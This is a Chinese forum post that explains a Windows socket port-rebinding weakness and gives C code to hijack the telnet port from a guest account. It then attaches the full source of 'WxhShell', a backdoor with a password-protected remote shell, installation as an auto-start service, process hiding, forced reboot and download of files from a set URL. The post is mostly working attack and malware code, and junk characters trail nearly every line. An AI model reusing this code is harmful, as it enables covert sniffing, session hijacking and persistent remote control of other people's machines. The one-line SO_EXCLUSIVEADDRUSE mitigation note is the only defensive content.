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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D(r:}pyU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C 7n Kk/r  
'0+$ m=   
  saddr.sin_family = AF_INET; \-. Tg!Q6  
Z-|li}lDr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iG[? ]]  
Ds5N Ap:x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^@}#me@  
Eqphd!\#6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GH3#E*t+[  
Qp!Y.YnPd_  
  这意味着什么?意味着可以进行如下的攻击: cINHH !v  
H|+tC=]4IZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5iWe-xQ>  
{:Vf0Mhb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TvrwVL)  
hswTn`f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <FmBa4ONU  
XS0V:<+,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {~GR8 U  
WaYO1*=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FWTx&Ip  
MtG_9-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +(ny|r[#  
p~bkf>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3B,QJ&  
o?!uX|Fy  
  #include 0MpS4tW0=  
  #include ~+m,im8}  
  #include 9)Yw :  
  #include    6D9o08  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E8tD)=1  
  int main() y-cw~kNPP3  
  { /{G/|a  
  WORD wVersionRequested; YhgUCF#  
  DWORD ret; d1NE%hg3  
  WSADATA wsaData; z`'P>.x   
  BOOL val; KF{a$d  
  SOCKADDR_IN saddr; <"I?jgo  
  SOCKADDR_IN scaddr; glor+  
  int err; >RR<eYu7m  
  SOCKET s; q$^<zY  
  SOCKET sc; M1uP\Sa  
  int caddsize; /w~C~6z @!  
  HANDLE mt; >i8~dEbB  
  DWORD tid;   @Qo,p  
  wVersionRequested = MAKEWORD( 2, 2 ); A1<k1[5fJ  
  err = WSAStartup( wVersionRequested, &wsaData ); MYTS3(  
  if ( err != 0 ) { `D)S-7BR  
  printf("error!WSAStartup failed!\n"); +(AwSh!  
  return -1; @9_)On9hZ  
  } MhH);fn  
  saddr.sin_family = AF_INET; Z1]"[U[;  
   q)Je.6$#X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WOH9%xv  
{U P_i2`.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oYq E*mA  
  saddr.sin_port = htons(23); \G=bj;&eF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \DyKtrnm%  
  { gDhl-  
  printf("error!socket failed!\n"); /'+4vXc@  
  return -1; 0=,'{Vz}A  
  } &enlAV'#)O  
  val = TRUE; <NL+9lR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 em/Xu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mCrU//G  
  { {Pvr??"r  
  printf("error!setsockopt failed!\n"); Isp_U5M  
  return -1; #wD7 \X-f  
  } di<B~:l58  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sWW\bK0B4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y7; 5xF?q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Heohe|an  
J/gQQ. s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0hZxN2r  
  { 2?H@$-x>  
  ret=GetLastError(); T Xl\hL\+  
  printf("error!bind failed!\n"); L)G">T;  
  return -1; r &c_4%y  
  } [+7"{UvT  
  listen(s,2); ;.r2$/E  
  while(1) }1\?()rB  
  { Y(W{Jd+  
  caddsize = sizeof(scaddr); rUvwpP"k  
  //接受连接请求 2q|_Dma  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _"v~"k 90^  
  if(sc!=INVALID_SOCKET) :28@J?jjO  
  { S `wE$so>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S r[IoF)  
  if(mt==NULL) 9 G((wiE  
  { z.A4x#>-  
  printf("Thread Creat Failed!\n"); k2wBy'M .'  
  break; j>V"hf  
  } =*[, *A  
  } mC "7)&,F  
  CloseHandle(mt); 0. (zTJ  
  } _AAx )  
  closesocket(s); 3v G  
  WSACleanup(); o[2Y;kP3*P  
  return 0; 1y(iE C  
  }   ] :GfOgo  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6e&g$ R v  
  { (S3jZ  
  SOCKET ss = (SOCKET)lpParam; `-5cQ2>"  
  SOCKET sc; s/\XH&KR3V  
  unsigned char buf[4096]; ~"RQ!&U  
  SOCKADDR_IN saddr; qY# m*R  
  long num; e8 v; D  
  DWORD val; |M]sk?"^  
  DWORD ret; -D$3!ccX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F1/6&u9I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4g S[D  
  saddr.sin_family = AF_INET; 7!mJhgGc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9c:5t'Qt5.  
  saddr.sin_port = htons(23); I S.F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4'_L W?DS  
  {  s"#CkG  
  printf("error!socket failed!\n"); M$gvq:}kt  
  return -1; # e$\~cPd  
  } Y]?Kqc  
  val = 100; ]C+eJ0"A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2}ag_  
  { Lq3(Z%  
  ret = GetLastError(); iczs8gj*  
  return -1; z{@= _5;  
  } A"`L~|&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M3)v-"  
  { R<_mK33hd  
  ret = GetLastError(); h#vL5At  
  return -1; j}i,G!-u  
  } d|R HG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GsR-#tV@  
  { J,MT^B  
  printf("error!socket connect failed!\n"); gjO *h3`  
  closesocket(sc); wYC9 ~ms-  
  closesocket(ss); g2!0vB>  
  return -1; u_h=nk  
  } #^"hqNwA  
  while(1) (}VuiNY<3  
  { U[blq M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "<7$2!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nm<L&11  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p, !1 3X  
  num = recv(ss,buf,4096,0); (Be$$W  
  if(num>0) R %Rv  
  send(sc,buf,num,0); N=hSqw[  
  else if(num==0) 3`mC"a b /  
  break; ::kpl2r\c  
  num = recv(sc,buf,4096,0); B'NS&7+].  
  if(num>0) 9)1P+c--  
  send(ss,buf,num,0); Bb$S^F(Xq  
  else if(num==0) Rv0-vH.n  
  break; ;:-}z.7Y  
  } ?S+/QyjcfJ  
  closesocket(ss); p{+tFQy  
  closesocket(sc); i.B$?cr~  
  return 0 ; :zRB)hd  
  } c-? Ygr  
1x^W'n,HtK  
7 3H@kf  
========================================================== dO Y lI`4  
E!r4AjaC  
下边附上一个代码,,WXhSHELL 1uK)1%vK  
JDIz28Ww  
========================================================== VGq{y{(  
[~zE,!  
#include "stdafx.h" ju @%A@s  
H@VBP Q}Q  
#include <stdio.h> Y j ,9V],  
#include <string.h> &Z;Eu'ia  
#include <windows.h> 5%vP~vy_}  
#include <winsock2.h> 54, Ju'r  
#include <winsvc.h> BA`kxL/x  
#include <urlmon.h> *fOS"-C L  
}xpe  
#pragma comment (lib, "Ws2_32.lib") g)2m$#T&s  
#pragma comment (lib, "urlmon.lib") Fj[ dO&  
3JwSgcb  
#define MAX_USER   100 // 最大客户端连接数 t[L2'J.5  
#define BUF_SOCK   200 // sock buffer UMnR=~.  
#define KEY_BUFF   255 // 输入 buffer 3<V.6'*k  
%D%e:se  
#define REBOOT     0   // 重启 G <}7vF  
#define SHUTDOWN   1   // 关机 XRX7qo(0g  
/v<e$0~s<  
#define DEF_PORT   5000 // 监听端口 ~:'gvR;x  
J tn&o"C  
#define REG_LEN     16   // 注册表键长度 o(S^1j5  
#define SVC_LEN     80   // NT服务名长度 B8P@D"u  
Dg?Ho2ih  
// 从dll定义API ?j},O=JFn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {EiG23!qV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }W Bm%f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T%z!+/=&^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L%=BCmMx  
d#M?lS>  
// wxhshell配置信息 NK*:w *SOI  
struct WSCFG { VLl&>Pbe-  
  int ws_port;         // 监听端口 [U+<uZzOC  
  char ws_passstr[REG_LEN]; // 口令 2/a04qA#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7~Xu71^3s  
  char ws_regname[REG_LEN]; // 注册表键名 C5W-B8>  
  char ws_svcname[REG_LEN]; // 服务名 OV0cr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dNS9<8JX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R[2[[M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'Gm!Jblo@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m-&a~l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j[Hg]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DVeF(Y3&  
@Reh?]# v  
}; }b\ipA,~  
*(_ON$+3  
// default Wxhshell configuration -f 'q  
struct WSCFG wscfg={DEF_PORT, 8k*k  
    "xuhuanlingzhe", /eI,]CB'z  
    1, ]J0Y^dM  
    "Wxhshell", 'h+4zvI"8  
    "Wxhshell", xq#]n^  
            "WxhShell Service", ) 2*|WHO  
    "Wrsky Windows CmdShell Service", 0(.R?1*:Rf  
    "Please Input Your Password: ", .5$V7t.t$\  
  1, N-_| %C-.  
  "http://www.wrsky.com/wxhshell.exe", g*\v}6 h  
  "Wxhshell.exe" oG U.U9~!  
    }; o 2$<>1^  
d<^6hF  
// 消息定义模块 8?]%Q i   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iI/'! 85  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r.W"@vc>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jg?pW:}R  
char *msg_ws_ext="\n\rExit."; x Ps& CyI  
char *msg_ws_end="\n\rQuit."; ! a8h  
char *msg_ws_boot="\n\rReboot..."; '!2  
char *msg_ws_poff="\n\rShutdown..."; 'j =PbA  
char *msg_ws_down="\n\rSave to "; 4'u|L&ow  
.x9nWa  
char *msg_ws_err="\n\rErr!"; |7 W6I$Xl  
char *msg_ws_ok="\n\rOK!"; >O[^\H!\  
>goAf`sqo  
char ExeFile[MAX_PATH]; V0wC@?  
int nUser = 0; .(.G`aKnF  
HANDLE handles[MAX_USER]; gP"Mu#/D  
int OsIsNt; ABS BtH ?  
Mz#S5 s  
SERVICE_STATUS       serviceStatus; o::ymAj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z8rh*Rfxd  
\ { E;u'F  
// 函数声明 bN~'cs8 e  
int Install(void); ;L/T}!Dx  
int Uninstall(void); w2mlqy2L  
int DownloadFile(char *sURL, SOCKET wsh); [pyXX>:M  
int Boot(int flag); Wg3WE1V  
void HideProc(void); -$Z-hxs^  
int GetOsVer(void); p>hCh5  
int Wxhshell(SOCKET wsl); ~S<F  
void TalkWithClient(void *cs); e?'k[ES^  
int CmdShell(SOCKET sock); . LVOaxT  
int StartFromService(void); -2m Ogv  
int StartWxhshell(LPSTR lpCmdLine); #'{PY r  
" kJWWR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `5aypJf 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eWt>^]H~  
\6PIw-)  
// 数据结构和表定义 g\mrRZ/?  
SERVICE_TABLE_ENTRY DispatchTable[] = E`LIENm  
{ 1=cfk#  
{wscfg.ws_svcname, NTServiceMain}, ^a0 -5  
{NULL, NULL} &|,qsDK(  
}; OEqe^``!  
4~J1pcBno%  
// 自我安装 /$N#_Xblr  
int Install(void) k?*DBXJv  
{ =u1w\>(2Y  
  char svExeFile[MAX_PATH]; ,)\5O0 D6  
  HKEY key; `oI/;&  
  strcpy(svExeFile,ExeFile); x'PjP1  
'jO-e^qT  
// 如果是win9x系统,修改注册表设为自启动 J}`$WL:  
if(!OsIsNt) { )^a#Xn3z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [/`Hz]R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _TeRsA  
  RegCloseKey(key); iPi'5g(a   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "r(pK@h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DT~y^h  
  RegCloseKey(key); 9kiy^0 7G  
  return 0; [(ib9_`A'1  
    } 3lEU$)QA3  
  } x)Om[jZE  
} ,'0oj$~S:  
else { N`^W*>XB  
KPvYq?F>4  
// 如果是NT以上系统,安装为系统服务 V$]a&wM<5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V?pO~q o  
if (schSCManager!=0) HK4`@jYQ  
{ C=f(NpyD6  
  SC_HANDLE schService = CreateService NNrZb?  
  ( wUPywV1UO  
  schSCManager, WYd,tGz  
  wscfg.ws_svcname, W}i$f -K  
  wscfg.ws_svcdisp, MrjB[3Td  
  SERVICE_ALL_ACCESS, %^BOYvPx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WX$^[^=HC  
  SERVICE_AUTO_START, 544I#!  
  SERVICE_ERROR_NORMAL, (N>ew)Ke  
  svExeFile, CX2q7azG  
  NULL, a[9OtZX<  
  NULL, uS10P7N}  
  NULL, 9>Z#o<*_/  
  NULL, iPL'JVPZ  
  NULL K%#C+`Ij  
  ); &wC.?w$  
  if (schService!=0) %LaC$w_X  
  { !6`nN1A  
  CloseServiceHandle(schService); a5+v)F/=  
  CloseServiceHandle(schSCManager); ?26[%%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3cQmxp2*  
  strcat(svExeFile,wscfg.ws_svcname); EJ|ZZYke!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tQ<2K*3]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ji?UG@  
  RegCloseKey(key); 4o8HEq!  
  return 0; Sgk{NM7|k  
    } %R5MAs&-5  
  } CU M~*  
  CloseServiceHandle(schSCManager); DY27'`n6  
} .VV!$; FB  
} -5B([jHgR  
43]&SXprH  
return 1; QU;C*}0Zl  
} K&oO+G^f  
{.)~4.LhQM  
// 自我卸载 T1TZ+ \  
int Uninstall(void) ~}l,H:jk@  
{ G#M]\)f%  
  HKEY key; VL1z$<vVXt  
LOo#  
if(!OsIsNt) { WYUU-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /JY i^rZ  
  RegDeleteValue(key,wscfg.ws_regname); x1ex}_\  
  RegCloseKey(key); h^X.e[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 30-w TcG  
  RegDeleteValue(key,wscfg.ws_regname); -$p-o Z)  
  RegCloseKey(key); QVhBHAw  
  return 0; c>k6i?u:X7  
  } L(rjjkH  
} |n%N'-el  
} )[Cm*Xxa$  
else { $e\R5L u  
0]W/88ut*u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OH~qJ <  
if (schSCManager!=0) '0?E|B]Cp%  
{ bHG>SW\]`?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?':'zT  
  if (schService!=0) t;6/bT-  
  { >b${rgCvQ  
  if(DeleteService(schService)!=0) { tq93 2M4  
  CloseServiceHandle(schService); M_uij$1-  
  CloseServiceHandle(schSCManager); D(GHkS*0q  
  return 0; >FhBl\oIi  
  }  X;g|-<  
  CloseServiceHandle(schService); v2g+o KO]  
  } tr+~@]I+  
  CloseServiceHandle(schSCManager); ~+ur*3X  
} /PS]AM  
} sP8B?Tn1W  
^9E(8DD  
return 1; Un+Jz ?Y  
} (\ %y)  
JC3)G/m(03  
// 从指定url下载文件 (q7mzZY  
int DownloadFile(char *sURL, SOCKET wsh) 9)X<}*(qo  
{ 4\RuJx  
  HRESULT hr; )QT+;P.  
char seps[]= "/"; r}bKVne  
char *token; 6U]7V  
char *file; 6<6_W#  
char myURL[MAX_PATH]; V&85<Y%Nl|  
char myFILE[MAX_PATH]; s*Ll\#  
],4LvIPD  
strcpy(myURL,sURL); Ss}0.5Bq  
  token=strtok(myURL,seps); b@Cvs4  
  while(token!=NULL) 8tk`1E8!j  
  { HDxw2nz*R  
    file=token; &*SnDuc  
  token=strtok(NULL,seps); !ZdUW]  
  } p:))ne:7  
zvj\n9H  
GetCurrentDirectory(MAX_PATH,myFILE); HB:i0m2fJW  
strcat(myFILE, "\\"); !9NAm?Fw  
strcat(myFILE, file); F*H}5yBp_:  
  send(wsh,myFILE,strlen(myFILE),0); R~([  
send(wsh,"...",3,0); C]cw@:o%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >i<-rO>kN  
  if(hr==S_OK) 9x\G(w  
return 0; @TDcj~oR ?  
else FT=>haN  
return 1; 3dLz=.=)'  
v8[1E>&vx  
} gw^+[}U#  
~E~J*R Ze  
// 系统电源模块 ^DOcw@Z6HC  
int Boot(int flag) FW,D\51pTP  
{ Y@eUvz  
  HANDLE hToken; L&%iY7sC`  
  TOKEN_PRIVILEGES tkp; HVp aVM  
.S;/v--F  
  if(OsIsNt) { 95/C4q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yn/-m Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1F/&Y}X  
    tkp.PrivilegeCount = 1; @So"(^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~sD'pS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /j As`"U  
if(flag==REBOOT) { m`cG&Ar5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1<UQJw45  
  return 0; o6oYJ`PY  
} NGu]|p  
else { e ^QOn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 25r=Xv  
  return 0; TPuzL(ws  
} R >TtAm0N  
  } @UX`9]-P  
  else { QNY{ p k  
if(flag==REBOOT) { )g9qkQ8q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i^(<E0vS  
  return 0; oZCO$a  
} HYS7=[hv6  
else { !RI&FcK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5l#)tX.by  
  return 0; VTU-'q  
} {H74`-C)W  
} F(9T;F  
<Coh &g_  
return 1; `4MPXfoBL  
} K""04Ew*pV  
[@czvPi  
// win9x进程隐藏模块  "d'@IN  
void HideProc(void) >8Y >B)  
{ B4C`3@a  
$Fj7'@1(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dj#<,e\  
  if ( hKernel != NULL ) o <y7Ut  
  { .?qS8:yA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c<=1,TB"-_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'E9jv4E$n  
    FreeLibrary(hKernel); i \~4W$4I  
  } o9CB ,c7]  
?`xId;}J#7  
return; Ty m!7H2  
} : SNp"|  
w[iQndu  
// 获取操作系统版本 WG,{:|!E  
int GetOsVer(void) IaB A2  
{ #X+)  
  OSVERSIONINFO winfo; YL]x>7T~4t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /D12N'VaE  
  GetVersionEx(&winfo); fg2}~ 02n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A+'j@c\&!  
  return 1; YG_3@`-<  
  else 4s~o   
  return 0; 01J.XfCd6  
} H:`r!5&Qb5  
V>hy5hDpH  
// 客户端句柄模块 F9hCT)  
int Wxhshell(SOCKET wsl) [ 6M8a8C  
{ $d'Gh2IGA  
  SOCKET wsh; <_+8c{G  
  struct sockaddr_in client; B N=,>-O%  
  DWORD myID; VH/_0  
I'";  
  while(nUser<MAX_USER) u}$?r\H'(  
{ KQk;:1hW  
  int nSize=sizeof(client); ^J327  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x|Dj   
  if(wsh==INVALID_SOCKET) return 1; |cH\w"DcXw  
T SOt$7-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i<l)To-  
if(handles[nUser]==0) g$ h!:wW  
  closesocket(wsh); J;qHw[6  
else 0F"xU1z,  
  nUser++; MDRSI g  
  } z~F!zigNAc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 83@+X4ptp  
/)|*Vzu  
  return 0; GB0] |z5  
} [mhY_Hmz]  
-C\m' T,1  
// 关闭 socket Fw|5A"9'a'  
void CloseIt(SOCKET wsh) iS"rMgq  
{ x ` $4  
closesocket(wsh); U7OW)tUf  
nUser--; ~ 60J  
ExitThread(0); )Aj~ xA  
} f@ySTz;u  
5)}xqE"x  
// 客户端请求句柄 :Z<-J`  
void TalkWithClient(void *cs) jYU#] |k~  
{ VB Ce=<  
yCwQ0|  
  SOCKET wsh=(SOCKET)cs; | #,b1|af  
  char pwd[SVC_LEN]; +!X^E9ra  
  char cmd[KEY_BUFF]; sGV%O=9?2  
char chr[1]; GDk/85cv0$  
int i,j; X{)M}WO+r  
ydpsPU?wj5  
  while (nUser < MAX_USER) { SgJQH7N  
[;c#LJ/y  
if(wscfg.ws_passstr) { [Ga 9^e$Zv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vJYy`k^Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jvW/M.q4  
  //ZeroMemory(pwd,KEY_BUFF); Od!j+.OY<  
      i=0; ;yH/GN#O  
  while(i<SVC_LEN) { K]RkKMT,  
>J4_/p>Qs  
  // 设置超时 rXA7<_Vg  
  fd_set FdRead; UlyX$f%2  
  struct timeval TimeOut; zD?<m J`  
  FD_ZERO(&FdRead); x;ujR<  
  FD_SET(wsh,&FdRead); *F=w MWa  
  TimeOut.tv_sec=8; E_FseR6  
  TimeOut.tv_usec=0; klPc l[.w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gX);/;9mm+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U|,VH-#  
__)9JF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <MY_{o8d  
  pwd=chr[0]; x }-rAr  
  if(chr[0]==0xd || chr[0]==0xa) { gCd9"n-e  
  pwd=0; "}EydG"=  
  break; *8Gx_$t&  
  } d"$ \fL  
  i++; R:11w#m7w  
    } ^G15]Pyw  
* ,,D%L  
  // 如果是非法用户,关闭 socket 2&dtOyxo>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )PZ'{S  
} e KET8v[  
0?k/vV4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k0%4&pU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ky,+xq  
&FGz53fd4  
while(1) { X|X6^}  
8eL[ ,uw  
  ZeroMemory(cmd,KEY_BUFF); V"gnG](2l  
&AC-?R|Dp  
      // 自动支持客户端 telnet标准   ;[&g`%-H<  
  j=0; a Z ^SK|E  
  while(j<KEY_BUFF) { WnA]gyc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^oM*f{9  
  cmd[j]=chr[0]; 9;kWuP>k4u  
  if(chr[0]==0xa || chr[0]==0xd) { -]HO8}-Rjs  
  cmd[j]=0; B\9ymhx;g%  
  break; ?mnwD]u  
  } .BZw7 YV  
  j++; (1*?2u*j  
    } v@[MX- ,8  
Z{ &PKS  
  // 下载文件 ^BW V6  
  if(strstr(cmd,"http://")) { s\_ ,aI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @r'8<6hVO  
  if(DownloadFile(cmd,wsh)) gZ:)l@ Wu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P5kkaLzG  
  else db4Ol=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L Ktr>u  
  } pz~AsF  
  else { UEt #;e  
8&B{bS  
    switch(cmd[0]) { sJ25<2/  
  9w(QM-u  
  // 帮助 Rax}r  
  case '?': { 3%>"|Ye}A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^<7)w2ns  
    break; o^2.&e+dQ  
  } %/jm Q6z^  
  // 安装 Fod2KS;g  
  case 'i': { Jy{A1i@4~s  
    if(Install()) >(p "!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~%m-}Sxc  
    else @zW'!Ol  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d2Bn`VI  
    break; 1P@&xcvS\  
    } J8~3LE )G  
  // 卸载 WADNr8.  
  case 'r': { g.Z>9(>;Y  
    if(Uninstall()) ~\(U&2t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r)q6^|~47  
    else E XEae ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xb5n;=)  
    break; h{VCx#!]  
    } bo`w( h_  
  // 显示 wxhshell 所在路径 Fn yA;,*  
  case 'p': { ^3F[^#"  
    char svExeFile[MAX_PATH]; 0l!@bj  
    strcpy(svExeFile,"\n\r"); 26&^n Uy  
      strcat(svExeFile,ExeFile); AS'a'x>8>,  
        send(wsh,svExeFile,strlen(svExeFile),0); 79z(n[^  
    break; Xq1n1_Z  
    } vH9/}w2  
  // 重启 Lr V)}1&5  
  case 'b': { [-=PK\ B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rq<T2}K  
    if(Boot(REBOOT)) Ay22-/C|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dq[j.Nmq  
    else { /)e&4.6  
    closesocket(wsh); 1Hp0,R}  
    ExitThread(0); H@.j@l  
    } !Yz~HO,u+  
    break; 'cu( Sd}  
    } z ~T[%RjO  
